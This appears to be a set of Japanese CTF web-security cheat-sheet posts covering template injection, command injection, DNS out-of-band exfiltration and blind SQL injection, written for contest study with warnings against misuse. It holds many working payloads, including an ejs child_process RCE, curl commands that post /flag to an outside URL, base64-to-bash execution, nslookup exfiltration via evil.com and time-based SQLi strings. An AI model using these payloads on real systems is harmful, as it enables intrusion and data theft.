      • {{.}}で与えられている変数すべてをオブジェクトとして参照できる
      • {{#each .}}{{@key}}<br>{{/each}}のように#each というヘルパーを使えばオブジェクトに対して反復的に処理ができ、#each によって囲まれているブロックで @key という変数を使えば現在参照されているキーが得られる
      • {{#each .}}{{@key}}<br>{{/each}}で変数すべての名前が得られる
      • {{#each .}}{{#if (lookup . "toString")}}{{.}}<br>{{/if}}{{/each}}でその中でtoStringを持つものだけ出力する
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>
    • <%= 7*7 %>
  • dust.js

Go

  • templates
    • template - The Go Programming Language
    • {{goWAF}}こういう感じの構文
    • goWAF
      • {{print "Test"}}とやると、Testが出力される。これは単にprint("Test")を呼んでいる感じ。こういう感じに関数呼び出しができる
      • 入れ子構造にしたいときは{{f(g "arg")}}みたいにすると、f(g("arg"))という呼び出しになる
    • Go SSTI Method Confusion
      • {{.System "id"}}でRCE達成
      • {{}.File "/etc/passwd"}でLFI達成
      • {{.}}で与えられてる変数が全部見れる
    • CTFtime.org / H@cktivityCon 2021 CTF / Go Blog
      • 全ページに表示される自分の名前部分にSSTIの脆弱性がある
      • 投稿サイトなのだが、投稿されたポストを見ると{{.Post.Author.Username}}のような感じでポスト者の情報がテンプレートに与えられている
      • なので、adminが投稿したポストを全ページにあるSSTIを利用して{{.}}とやるとadmin(投稿者)にまつわる色々情報が見えてしまう
      • この情報からadminのメールアドレスを抜き出す
      • .Post.AuthorはUser構造体になっていて、関数としてChangePasswordを持っている
      • SSTIでメソッドを呼び出すこともできるので、{{.Post.Author.ChangePassword "NewPassword"}}とすればパスワード変更ができ、TakeOver

Client-Side Template Injection

  • できてXSSな気がするが…
  • 以下のようなエンジンが狙われる
    • AngularJS
      • dangerouslySetInnerHTMLが肝らしいがよくわかってない
    • ReactJS

CTFのWebセキュリティにおけるCommand Injectionまとめ(Linux, Windows, RCE)

この記事はCTFのWebセキュリティ Advent Calendar 2021の14日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

RCE/コマンドインジェクション

  • RCE: Remote Code Execution
    • 遠隔で意図しないコードを走らせることでシステムを侵害するもの
    • コマンドインジェクションは、コマンドインジェクションができるとRCEできてしまうみたいな繋がり
  • RCEの契機

実行時に使えるコマンドについて

Linux

  • よく使う
    • id 実行ユーザーなどの実行情報が得られる。これをコマンドインジェクションのテストに利用しているのをよく見かける
    • env > dump.txt 環境変数持ってくる。Dockerで作られている場合は環境変数にデータが入ってる時がよくある
    • cat [file] fileの中身を画面出力する
      • cat * フォルダのファイルをすべてcatしてくる
      • cat /opt/flag.txtの代わりecho `</opt/flag.txt`echo $(</opt/flag.txt)
  • findテク
    • find / -name "user.txt" 2>/dev/null user.txtというファイルを探してくる
    • find . -type f -exec cat {} + フラグを検索してくるコマンド
    • find / -iname "*flag*" flagという名前の入ったファイル名を探してくるコマンド
    • find / -name user.txt 2>/dev/null user.txtというファイルのパスを探してくるが、エラーが沢山出るときは、/dev/nullに出力して消している
    • find / -name mattermost 2>/dev/null mattermostの設定ファイルを探したいみたいなときはこういうのをやってみる
    • find / -name "user.txt" -exec md5sum {} \; 2>/dev/null 検索結果すべてについてmd5ハッシュ取得したいとき
    • find . -type f -exec tail -n+1 {} + 現在の階層以下のファイルをファイル名付きで中身を表示する
  • 持ってきて外部送信する
    • cat /flag | curl [url] -X POST -d @-
    • cat /flag | base64 | curl [url] -X POST -d @-
    • curl http://mydomain:8080/$(ls flag*)
  • ls
    • ls -la 大体これでいい
    • ls -alps 最終進化系
    • echo opt/*とするとls opt/の代わりに使える
    • head /*とするとls /の代わりに使えるし、中身も表示させる
    • ls -R 再帰的にフォルダの中身を確認できる -Raとすれば隠しフォルダも入る
  • 未分類
    • | less -R 色付きでlessできる
    • echo "[userpass]" | su [username] -c "[command]"
      • あるユーザー権限でコマンド実行したいとき
    • grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'
      • $PWDはカレントディレクトリを指し、カレントディレクトリを深さ1でmain.pyという名前のファイルを探してくれる
      • そこから更にgrepでflagが入っている行を探してくる
      • それをパイプでteeコマンドに送り、アップロードフォルダ(ユーザーが直接参照可能な任意のフォルダ)に吐き出している
    • echo '{encoded}' | base64 -d | bash
      • base64化したコードが実行可能
    • base64 req.php
    • wget <webhook-url> これでRCE達成できてるかを確認できる
    • su [username] ユーザー変更
    • grepBinary file (standard input) matchesと言われたときはgrep-aオプションを使えばいい
    • ホスト側でsudo tcpdump -i eth0 icmpとして攻撃側でping [myip]を試すとパケットが来るかで実行できたか判断がつく
    • hostname -i 自身のIPアドレス取得
    • cat all.txt | grep -v "^#" | wc -l 先頭が#の行を削除して行数数えてる
    • grep -l phishing@email.com /home/ranger/Desktop/data/* phishing@email.comが含まれるファイルを探してくる
    • $(env | grep FLAG)でうまくとってこれなかったら、$(env | grep FLAG | base64)で取ってこれたことがある
  • 普通の操作
    • grep [検索したい文字列] -rl [検索対象フォルダのパス] 検索パス配下に検索したい文字列が含まれるファイルをリスト化してくる
    • grep -ir '.*' * 今のフォルダ以下の中身を全部持ってこれるコマンド

Windows

  • whoami ただ単に確認したいとき
  • ipconfig
  • tasklist
  • netstat -an
  • C:\Windows\System32\cmd.exe
    • そのままコマンド使うとき C:\Windows\System32\cmd.exe /c [command]
  • C:\Windows\System32\hostname.exe
    • ホスト名を返す
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

コマンドインジェクション

  • コマンドインジェクション
    • OSコマンドインジェクションみたいにOSが付くときもある
    • RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する
    • そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。
  • お手軽に差し込む場合は||command||とすればいい
    • 差し込み後にA||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される
    • commandが正常終了されるような感じになっていればBは実行されずに終わる
    • ; sleep 10;とか||sleep 10||が最初は良さそう(レスポンスがなくてもわかるし)
  • パイプ文字について
    • A | B Aの標準出力をBの標準入力につなげるやつ
    • A && B Aを実行して正常終了したら、B実行
    • A & B AとBを並列実行
    • A || B Aを実行して異常終了したら、B実行
    • A; B Aを実行して、Bを実行
  • ペイロード
  • `で囲むと実行できたりする
  • 改行することで複文実行できる可能性がある \ncat flag.txtみたいな感じ

名前付きパイプ

  • mkfifoで作成できる
    • lsをしたときに先頭がpとして出てくる
    • 出力しようとすると入力されるまで待つし、逆に入力しようとすると出力されるまで待つ

テクまとめ

  • $(pwd | cut -c1)を使うと、/になる
    • ctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
  • RCEできるけど文字列制限が厳しい場合
    • 分割輸送テク
      • rm /tmp/[randomstring]
      • echo -n '[command]' >> /tmp/[randomstring]でコマンドを分割輸送
      • sh /tmp/[randomstring]
    • wgetで輸送してくるテク
      • .sh .ch /tmpして.sh wget aaaa.ef/x
      • .sh chmod 777 /tmp/x
  • スペースが使えないとき
    • {echo,hello,world}みたいに書くと、hello worldと出力される
      • {cd,..}&&{ls,-la}&&{cat,--,-FLAG-2-of-2-.txt}
      • ||{cd,..}||{cd,~}&&{ls,-la,icons}"
      • ||{cd,..}&&{ls,-la}&&{cat,index.cgi}
  • cd ..を使うことで../が禁止されててもなんとかなる
  • コマンドの頭に\(バックスラッシュ)をつけると、alias を無視してコマンドを入力できる。
    • lsにエイリアスがついて意地悪されても\lsとすれば従来のlsが実行可能
  • tarコマンド
    • UTCTF: Tar Inspector | Debugmen
    • --to-commandというのがあり、tarファイルの中身のファイルを指してファイル実行ができる
      • evil.shというのを入れたtarファイルで--to-command=sh evil.shとすれば実行可能
    • 後ろでエラーが出てしまうときは--mtime=に全部押し込むとエラーを消せる
  • curlコマンド
  • 検索の後にpipeを差し込むことで実現できたりする。blind command injection
  • base64を使って文字種制限をバイパスする HactivityCon 2021 CTF Web challenge writeup - きなこもち。
    1. echo "base64-decoded payload" > /tmp/payload.txtペイロードを送り込む
    2. echo "import base64" > /tmp/shell.pyecho "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.pyで実行コード作成
    3. python3 /tmp/shell.pyで発動
  • Blind Command Injection
    • 外部の通信ができないが、エラー発生などからサイドチャネル的に情報を抜き出してくる
    • st98 の日記帳 - コピーのMicroservices As A Service 1
    • (ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'という感じでビット演算を利用して1ビットずつ特定していく

言語/フレームワーク

PHP

Ruby

CTFのWebセキュリティにおけるDNS/ドメインまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の13日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

DNS

DNS Rebinding

OOB抽出

  • 表記について
    • リアルワールドバグハンティングではOOB抽出と記載されていた
    • Web上では、OOB ExploitationやらOOB Exfiltrationやら曖昧
  • 手法
      1. SSRFをして抜き出したい情報を掴む
      1. base32エンコードをしてpayloadを作る(URLは英数字しか入れられないからbase32にする)
      1. DNSサーバを用意する evil.com
      1. nslookup payload.evil.comすると、DNS解決をしに行くので、payload込みでevil.comに情報が送られて流出する
  • Lab: Blind OS command injection with out-of-band data exfiltration | Web Security Academy

Subdomain Takeover

tips

CTFのWebセキュリティにおけるサイドチャネル攻撃まとめ(Blind SQL Injection, XSLeak)

この記事はCTFのWebセキュリティ Advent Calendar 2021の12日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

  • サイドチャネル攻撃
    • 「物理的な特性を外部から観察あるいは測定することで情報を取得すること」らしい(Wikipediaより)
    • 自分は間接的な情報を利用することで(正攻法ではない方法で)情報を得ようとすること全般を指して呼んでいるのだが、正しいだろうか?
  • ラクル攻撃
    • ラクル:神託器
    • 違いについてハッキリ理解できてない。サイドチャネル攻撃で使える情報を提供してくれる対象をオラクルと呼んでいたが、サイドチャネル攻撃とオラクル攻撃で分けられているので、ニュアンスが違う?この辺り誰か記事書いて説明して!

Blind SQL Injection

  • Blind SQL Injection | OWASP
    • SQL Injectionの一種で、画面上に結果が表示されていなくても、SQLの実行結果のyes/noによって情報を抜き取るもの。

たぶんlikeを使ったものが一番わかりやすい。

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' UNION SELECT * FROM users WHERE pass like 'a%と差し込むと、

SELECT * FROM users WHERE pass = '' UNION SELECT * FROM users WHERE pass like 'a%'

となる。こうすると、passwordがaから始めるならレコードが帰ってくることになる。
レコードがあればログイン成功、なければ失敗というシステムであれば、
パスワードがaから始まるならログイン成功
パスワードがaから始まらないならログイン失敗
というオラクルが作れたことになる。これを使って全探索すると、パスワードの全文を特定することができる。 このように実際に結果を取得できなくても、yes/noが判断できるならば情報を抜き出すことのできるテク。

  • いつ使える?
    • 基本的にはSQLiできるなら使える
  • 種類
    • Boolean-based Blind SQLi
      • 上の例で示したようなレスポンスではっきりyes/noが分かるようなもの
      • 色々な種類がある(ログインの成功失敗、HTTPレスポンスコードの違い、エラーの出る出ない、数の増減…)
    • Error-based Blind SQLi
      • 条件がtrueなら意図的にエラーが発生するようなSQL文を書くことで、エラーの発生有無でyes/noを判断する
    • Time-based Blind SQLi
    • Out-of-band
      • ここに書いてあるけど、よくわからない。たぶん応答じゃなくて、どっかにcurlするとかって話だと思う。
  • 参考

Error-based Blind SQL Injection

  • 条件分岐させる
    • IF構文を使う
      • 適当にWHEREの条件にでもif(見たい条件,エラー発生文,エラー未発生文)を書けばいい
      • ' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
    • A or B ここ
      • AがtrueならBは評価されないので、Bにエラーを書いておけばtrueならエラーが出ないようにできる
      • A and Bで逆をしてもいい
      • ({md} <= length(pw) and (select id union select 2))
      • なぜかうまくいかなかったりする。
    • whereに条件を入れて、select内容にエラー発生原因を埋め込む ここ
      • (select exp(1783) where {md} <= length(pw))これをWhereの中にでも入れておく
      • exp(1783)はオーバーフローエラーを引き起こす
    • case when構文を使う
      • case when pw like '0%' then 1 else 9e307*2 endみたいに使う
      • if構文と違ってかっこがいらない
  • エラーを出すには
    • exp(1783)が短い。
    • Subquery returns more than 1 rowエラー
      • (select 1 union select 2) ここ
    • DOUBLE value is out of range in 'XXX'エラー

Time-based Blind SQL Injection

  • Error-based Blind SQL InjectionとSQL文は大差ない。if(条件,sleep(1),0)といった感じ。
    • これをwhereの1つにでも置けばいい。
  • xor(if(now()=sysdate(),sleep(10),0))or
  • MySQL
    • admin ' and (select*from(select(sleep(20)))a)--
    • admin' and IF(1=(SELECT 1 FROM users WHERE Length(pass) = 27),sleep(10),0) #
  • SQL Server
    • if 条件 waitfor delay '00:00:01' else waitfor delay '00:00:00'これをSQL文末尾に置いておけばいい
      • 条件には0 <= (select len(password) from Users where id='admin')のように改めて値は取ってくる必要がある
    • 使ったやつ
      • 'id':f"' or {md} <= (SELECT LENGTH(group_concat(sql)) FROM sqlite_master) --",
      • 'id':f"' or {md} <= (SELECT unicode(substr(group_concat(sql),{i+1},1)) FROM sqlite_master) --",
  • Postgres #query = "select current_database()" -> scpfoundation #query = "array_to_string( ARRAY( (select DISTINCT TABLE_SCHEMA from information_schema.columns) ),',' )" -> public,pg_catalog,information_schema #query = "array_to_string( ARRAY( (select DISTINCT TABLE_NAME from information_schema.columns where TABLE_SCHEMA='public') ),',' )" -> users,experiments #query = "array_to_string( ARRAY( (select DISTINCT COLUMN_NAME from information_schema.columns where TABLE_NAME='users') ),',' )" -> id,name,password,stap #query = "array_to_string( ARRAY( (select name from users) ),',' )" -> glenn,teddy,admin query = "array_to_string( ARRAY( (select password from users) ),',' )" -> 965182,e2ec2b31a377a として、以下で判定
    q = f"Gnomial' AND {md} <= (select length({query})) --"
    q = f"Gnomial' AND {md} <= (select ascii(substring({query},{i+1},1))) --"
  • MongoDB

テク

  • オススメの流れ
    1. lengthを使って攻撃対象の長さを調べる
    2. 各文字について二分探索で答えを見つける
  • 全探索ではなく二分探索による高速化
  • limit句にインジェクションするとき
    • limitの後ろにunionでテーブルを追加することはできないが、攻撃方法はある
    • ラクルとして利用する
      • limit=(CASE WHEN (SELECT ascii(substr(usename, x, 1)) FROM pg_user LIMIT 1) < 99 THEN 1 ELSE 0 END)
      • このようにすることでx文字目のasciiコードが99より小さいなら1要素でてきて、そうでないなら0要素というオラクルになる
    • offsetを併用する
      • limitの後ろはoffsetなら置ける
      • 1 limit ascii(substr((Select version()),x,1))
      • こうすると、x文字目をアスキーコードに変更した番目の要素が得られる
      • なるほど
    • ちなみに
      • substr(string, position, length)
        • positionは1-indexed
      • ascii(string|char) -> int
    • ラクルとして使用したときのソルバ SECCON beginners CTF 2020 writeup - La Vie en Lorse
  • マルチバイト文字やUnicodeを抜き取るとき
    • たまにいじわる問題でASCII文字じゃない文字を抜き取る場合がある
    • この場合はhex関数を噛ませて、' || id = 'admin' && {md} <= length(hex(pw)) #のようにして、hex表現で取ってくる
    • Unicode Converter - Decimal, text, URL, and unicode converter
      • このサイトで戻せば取得できる
  • information_schema.tablesテーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
    • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
  • like文を使った賢い戦略(にぶたんの方が多分早いけど、これも捨てがたい)
    • Blind SQL Injection
    • _を使って文字長を特定する(これは必須ではない気がするけど)
    • %[一文字]%というのを候補の文字について行って使われているかを特定する。これによって探索空間を大幅に減らす(賢い!)
    • 先頭からa%みたいに探索していく

Blind SQLi 問題 CTF Writeups

XS-Leak Attack / XS-Search Attack

Blind Regular Expression Injection Attack / XS-Leaks with ReDoS

writeups